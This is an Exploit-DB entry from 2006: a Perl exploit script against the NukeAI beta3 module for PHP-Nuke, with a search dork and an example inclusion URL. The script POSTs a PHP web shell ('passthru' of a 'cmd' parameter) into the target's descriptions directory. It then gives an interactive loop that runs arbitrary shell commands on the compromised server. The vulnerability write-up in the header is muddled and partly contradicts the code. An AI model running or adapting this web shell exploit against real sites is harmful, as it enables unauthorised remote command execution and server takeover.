Exploit-DB #2843
Description: PHP-Nuke NukeAI Module 3b - 'util.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-24
Author: DeltahackingTEAM

Exploit:
#!/usr/bin/perl
#
+-------------------------------------------------------------------------------------------
# + nukeai beta3 (util.php) Remote Code Execution Vulnerability
#
+-------------------------------------------------------------------------------------------
# + Affected Software .: nukeai beta3
# + Download ..........: http://mesh.dl.sourceforge.net/sourceforge/nukeai/nukeai_beta3.zip
# + Dork ..............: "nukeai beta3"
# + Class .............: Remote Code Execution
# + Risk ..............: High (Remote Code Execution)
# + Found By ..........: DeltahackingTEAM Code :Dr.Trojan&Dr.Pantagon
# + Exploit:http://[target]/[path]/modules/NukeAI/util.php?AIbasedir=http://
# +-------------------------------------------------------------------------------------------
# + Details:
# + nukeai beta3 Download by default installation doesn't prevent any of the files in the
# + modules/NukeAI directory from being accessed by a client. The modules/NukeAI
# + file takes input passed to the script by util.php and writes it to $_POST["filename"].0
# + unsanatized in the modules/NukeAI descriptions directory.
# +
# + Vulnerable Code:
# +require_once $AIbasedir."/NukeAI/util.php";
# +-------------------------------------------------------------------------------------------
# Example: http://[site]/modules/NukeAI/util.php?AIbasedir=[php shell]

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$code = "<?php passthru(\$_GET[cmd]); ?>";

main();

sub usage
{
    print "DeltahackingSecurityTEAM\n";
    print "www.deltahacking.net\n";
    print "Dr.Trojan,HIV++,D_7j,Lord,VPc,IMpostor,Dr.Pantagon\n";
    print " http://advistory.deltahacking.net((we Bug))\n";
    print "\nukeai beta3 Remote Code Execution Exploit\n";
    print "-h, --host\ttarget host\t(example.com)\n";
    print "-f, --file\tshell file\t(shell.php)\n";
    print "-d, --dir\tinstall dir\t(/NukeAI)\n";
    print "============================================================================farzad.sharifi\r\n";
    exit;
}

sub main
{
    GetOptions ('h|host=s' => \$host,'f|file=s' => \$file,'d|dir=s' => \$dir);
    usage() unless $host;

    $dir = "/NukeAI" unless $dir;
    $file = "shell.php" unless $file;
    uri_escape($cmd);
    $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die "\nconnect() failed.\n";

    print "\nconnected to ".$host.", sending data.\n";
    $sendurl = "description=0&moreinfo=".$code."&accesses=0&filename=".$file."&date=&B1=Submit";
    $sendlen = length($sendurl);
    print $sock "POST ".$dir."NukeAI/util.php?AIbasedir= HTTP/1.1\n";
    print $sock "Host: ".$host."\n";
    print $sock "Connection: close\n";
    print $sock "Content-Type: application/x-www-form-urlencoded\n";
    print $sock "Content-Length: ".$sendlen."\n\n";
    print $sock $sendurl;
    print "attempted to create php shell, server response:\n\n";
    while($recvd = <$sock>)
    {
        print " ".$recvd."";
    }

    while($cmd !~ "~quit")
    {
        print "\n\n-> ";
        $cmd = <STDIN>;
        if ($cmd !~ "~quit")
        {
          $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
           or die "connect() failed.\n";
          $sendurl = uri_escape($cmd);

          print $sock "GET ".$dir."/descriptions/".$file.".0?cmd=".$sendurl." HTTP/1.1\n";
          print $sock "Host: ".$host."\n";
          print $sock "Accept: */*\n";
          print $sock "Connection: close\n\n";
          print "\n";

          while($recvd = <$sock>)
          {
              print $recvd;
          }
        }
    }
    exit;
}

# milw0rm.com [2006-11-24]